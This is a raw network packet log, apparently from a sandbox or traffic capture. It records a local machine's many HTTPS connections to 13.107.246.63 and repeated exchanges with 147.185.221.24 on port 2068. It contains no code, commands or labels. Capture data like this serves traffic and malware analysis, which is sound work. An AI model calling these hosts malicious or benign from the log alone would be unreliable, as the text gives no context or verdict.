Nov 23, 2024 21:13:07.076491117 CET	49950	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.076574087 CET	443	49950	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.076610088 CET	443	49950	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.092283964 CET	49952	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.092293024 CET	443	49952	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.092890024 CET	49952	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.092894077 CET	443	49952	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.093786955 CET	49953	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.093847990 CET	443	49953	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.095568895 CET	49953	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.095587969 CET	443	49953	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.100672960 CET	49955	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.100711107 CET	443	49955	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.100769043 CET	49955	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.101227999 CET	49955	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.101241112 CET	443	49955	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.277530909 CET	443	49951	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.280796051 CET	443	49951	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.280844927 CET	49951	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.280951023 CET	49951	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.280951023 CET	49951	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.280970097 CET	443	49951	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.280978918 CET	443	49951	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.285557985 CET	49956	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.285598040 CET	443	49956	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.285680056 CET	49956	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.285969019 CET	49956	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.285984039 CET	443	49956	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.430805922 CET	443	49952	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.434077024 CET	443	49952	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.434143066 CET	443	49952	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.434149981 CET	49952	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.434204102 CET	49952	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.434253931 CET	49952	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.434253931 CET	49952	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.434273005 CET	443	49952	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.434281111 CET	443	49952	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.436543941 CET	49957	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.436580896 CET	443	49957	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.436678886 CET	49957	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.436841965 CET	49957	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.436853886 CET	443	49957	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.697952032 CET	443	49953	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.698024988 CET	443	49953	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.698249102 CET	49953	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.698249102 CET	49953	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.698398113 CET	49953	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.698419094 CET	443	49953	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.700845957 CET	49958	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.700892925 CET	443	49958	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.700958967 CET	49958	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.701096058 CET	49958	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:07.701107979 CET	443	49958	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:07.749927998 CET	49923	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:07.923362970 CET	2068	49923	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:07.923422098 CET	49923	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:08.060056925 CET	2068	49923	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:08.576455116 CET	443	49954	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:08.608866930 CET	49954	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:08.608880997 CET	443	49954	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:08.609380007 CET	49954	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:08.609383106 CET	443	49954	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.025665045 CET	443	49955	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.026216984 CET	49955	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.026241064 CET	443	49955	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.027085066 CET	49955	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.027097940 CET	443	49955	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.064851999 CET	443	49954	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.069900036 CET	443	49954	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.069966078 CET	49954	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.069978952 CET	443	49954	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.070019960 CET	443	49954	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.070070028 CET	49954	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.070091963 CET	443	49954	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.070103884 CET	49954	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.070111990 CET	443	49954	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.072829962 CET	49959	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.072870016 CET	443	49959	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.072936058 CET	49959	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.073113918 CET	49959	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.073127031 CET	443	49959	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.137984037 CET	443	49956	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.138422012 CET	49956	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.138437033 CET	443	49956	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.138942003 CET	49956	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.138947010 CET	443	49956	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.228924036 CET	443	49957	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.229379892 CET	49957	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.229401112 CET	443	49957	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.229904890 CET	49957	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.229912043 CET	443	49957	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.476068974 CET	443	49955	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.480588913 CET	443	49955	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.481398106 CET	49955	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.501137018 CET	443	49958	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.546976089 CET	49958	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.605303049 CET	443	49956	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.608460903 CET	443	49956	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.608520985 CET	443	49956	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.608577967 CET	49956	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.609920979 CET	49955	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.609920979 CET	49955	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.609950066 CET	443	49955	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.609965086 CET	443	49955	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.626055002 CET	49958	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.626074076 CET	443	49958	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.626513958 CET	49958	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.626521111 CET	443	49958	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.627377987 CET	49956	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.627398968 CET	443	49956	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.627409935 CET	49956	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.627417088 CET	443	49956	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.670739889 CET	443	49957	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.674031019 CET	443	49957	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.674238920 CET	49957	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.688266039 CET	49957	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.688292027 CET	443	49957	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.688306093 CET	49957	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.688314915 CET	443	49957	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.693927050 CET	49960	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.693968058 CET	443	49960	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.694017887 CET	49960	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.694677114 CET	49961	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.694727898 CET	49962	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.694740057 CET	443	49962	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.694760084 CET	443	49961	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.694787979 CET	49960	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.694803953 CET	443	49960	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.694823980 CET	49962	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.694901943 CET	49961	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.694901943 CET	49961	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.694973946 CET	49962	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.694976091 CET	443	49961	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.694986105 CET	443	49962	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.952815056 CET	443	49958	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.955966949 CET	443	49958	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.956024885 CET	49958	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.956114054 CET	49958	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.956125021 CET	443	49958	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.956140995 CET	49958	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.956146002 CET	443	49958	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.958602905 CET	49963	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.958641052 CET	443	49963	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:09.958733082 CET	49963	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.958998919 CET	49963	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:09.959012032 CET	443	49963	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:10.926846981 CET	443	49959	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:10.927755117 CET	49959	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:10.927767038 CET	443	49959	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:10.928275108 CET	49959	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:10.928280115 CET	443	49959	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.346811056 CET	443	49962	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.347254992 CET	49962	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:11.347301006 CET	443	49962	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.347738028 CET	49962	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:11.347744942 CET	443	49962	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.426064014 CET	443	49959	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.429728985 CET	443	49959	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.429809093 CET	49959	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:11.429842949 CET	49959	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:11.429855108 CET	443	49959	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.429866076 CET	49959	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:11.429869890 CET	443	49959	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.433250904 CET	49964	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:11.433298111 CET	443	49964	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.433357000 CET	49964	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:11.433502913 CET	49964	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:11.433512926 CET	443	49964	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.544557095 CET	443	49961	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.545084953 CET	49961	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:11.545104980 CET	443	49961	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.545598984 CET	443	49960	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.545630932 CET	49961	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:11.545636892 CET	443	49961	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.546395063 CET	49960	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:11.546428919 CET	443	49960	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.547394037 CET	49960	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:11.547399998 CET	443	49960	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.790709019 CET	443	49962	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.793102026 CET	443	49962	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.793148994 CET	49962	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:11.793159008 CET	443	49962	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.793227911 CET	49962	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:11.793309927 CET	49962	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:11.793325901 CET	443	49962	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.793337107 CET	49962	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:11.793343067 CET	443	49962	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.795804024 CET	49965	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:11.795840025 CET	443	49965	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.795900106 CET	49965	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:11.796217918 CET	49965	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:11.796233892 CET	443	49965	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.797240973 CET	49923	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:11.920054913 CET	2068	49923	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:11.990755081 CET	443	49961	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.994879961 CET	443	49961	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.999339104 CET	443	49961	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:11.999386072 CET	49961	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:12.000236988 CET	49961	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:12.018121004 CET	49961	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:12.018121004 CET	49961	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:12.018158913 CET	443	49961	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:12.018171072 CET	443	49961	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:12.020834923 CET	49966	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:12.020893097 CET	443	49966	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:12.021126032 CET	49966	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:12.025245905 CET	443	49960	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:12.025286913 CET	49966	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:12.025301933 CET	443	49966	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:12.028373003 CET	443	49960	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:12.028429985 CET	443	49960	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:12.028476000 CET	49960	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:12.028522968 CET	49960	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:12.028594017 CET	49960	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:12.028609037 CET	443	49960	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:12.028639078 CET	49960	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:12.028645039 CET	443	49960	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:12.030787945 CET	49967	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:12.030822039 CET	443	49967	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:12.030972004 CET	49967	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:12.031085014 CET	49967	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:12.031099081 CET	443	49967	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:13.250736952 CET	443	49964	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:13.251298904 CET	49964	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:13.251342058 CET	443	49964	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:13.251977921 CET	49964	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:13.251982927 CET	443	49964	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:13.611052036 CET	443	49965	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:13.612189054 CET	49965	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:13.612238884 CET	443	49965	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:13.612773895 CET	49965	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:13.612782001 CET	443	49965	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:13.751343966 CET	443	49966	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:13.751961946 CET	49966	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:13.752021074 CET	443	49966	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:13.752582073 CET	49966	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:13.752587080 CET	443	49966	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:13.850200891 CET	443	49964	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:13.854384899 CET	443	49964	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:13.854438066 CET	49964	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:13.854481936 CET	49964	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:13.854487896 CET	443	49964	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:13.854500055 CET	49964	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:13.854504108 CET	443	49964	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:13.857690096 CET	49968	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:13.857745886 CET	443	49968	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:13.857817888 CET	49968	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:13.858023882 CET	49968	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:13.858036995 CET	443	49968	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.029202938 CET	443	49967	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.032329082 CET	49967	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:14.032329082 CET	49967	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:14.032360077 CET	443	49967	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.032381058 CET	443	49967	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.063992023 CET	443	49965	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.067430973 CET	443	49965	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.069622993 CET	49965	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:14.069622993 CET	49965	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:14.069717884 CET	49965	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:14.069740057 CET	443	49965	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.073447943 CET	49969	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:14.073492050 CET	443	49969	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.077848911 CET	49969	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:14.077848911 CET	49969	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:14.077886105 CET	443	49969	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.186986923 CET	443	49966	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.190649033 CET	443	49966	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.190696955 CET	443	49966	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.190860033 CET	49966	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:14.190963030 CET	49966	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:14.190963030 CET	49966	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:14.191009998 CET	443	49966	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.191037893 CET	443	49966	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.193907022 CET	49970	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:14.193959951 CET	443	49970	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.194188118 CET	49970	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:14.194303036 CET	49970	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:14.194310904 CET	443	49970	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.212865114 CET	2068	49923	147.185.221.24	192.168.2.4
Nov 23, 2024 21:13:14.215552092 CET	49923	2068	192.168.2.4	147.185.221.24
Nov 23, 2024 21:13:14.632057905 CET	443	49967	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.632210016 CET	443	49967	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.637516022 CET	49967	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:14.645704985 CET	443	49963	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.662535906 CET	49967	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:14.662535906 CET	49967	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:14.662576914 CET	443	49967	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.662590981 CET	443	49967	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.664041996 CET	49963	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:14.664079905 CET	443	49963	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.665292978 CET	49963	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:14.665299892 CET	443	49963	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.669626951 CET	49971	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:14.669672966 CET	443	49971	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:14.669862032 CET	49971	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:14.670222044 CET	49971	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:14.670233965 CET	443	49971	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:15.089792967 CET	443	49963	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:15.093013048 CET	443	49963	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:15.093058109 CET	49963	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:15.093152046 CET	49963	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:15.093177080 CET	443	49963	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:15.093188047 CET	49963	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:15.093194008 CET	443	49963	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:15.098738909 CET	49972	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:15.098792076 CET	443	49972	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:15.098865032 CET	49972	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:15.099014044 CET	49972	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:15.099029064 CET	443	49972	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:15.768192053 CET	49973	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:13:15.768237114 CET	443	49973	142.250.181.100	192.168.2.4
Nov 23, 2024 21:13:15.768304110 CET	49973	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:13:15.768637896 CET	49973	443	192.168.2.4	142.250.181.100
Nov 23, 2024 21:13:15.768654108 CET	443	49973	142.250.181.100	192.168.2.4
Nov 23, 2024 21:13:15.821621895 CET	443	49968	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:15.822309971 CET	49968	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:15.822344065 CET	443	49968	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:15.823106050 CET	49968	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:15.823113918 CET	443	49968	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:15.942732096 CET	443	49969	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:15.946535110 CET	49969	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:15.946535110 CET	49969	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:15.946558952 CET	443	49969	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:15.946574926 CET	443	49969	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.097296953 CET	443	49970	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.098490000 CET	49970	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.098490000 CET	49970	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.098535061 CET	443	49970	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.098555088 CET	443	49970	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.300966024 CET	443	49968	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.304970980 CET	443	49968	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.305138111 CET	443	49968	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.305258036 CET	49968	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.305304050 CET	49968	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.305304050 CET	49968	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.305325985 CET	443	49968	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.305341959 CET	443	49968	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.311420918 CET	49974	443	192.168.2.4	13.107.246.63
Nov 23, 2024 21:13:16.311469078 CET	443	49974	13.107.246.63	192.168.2.4
Nov 23, 2024 21:13:16.315650940 CET	49974	443	192.168.2.4	13.107.246.63
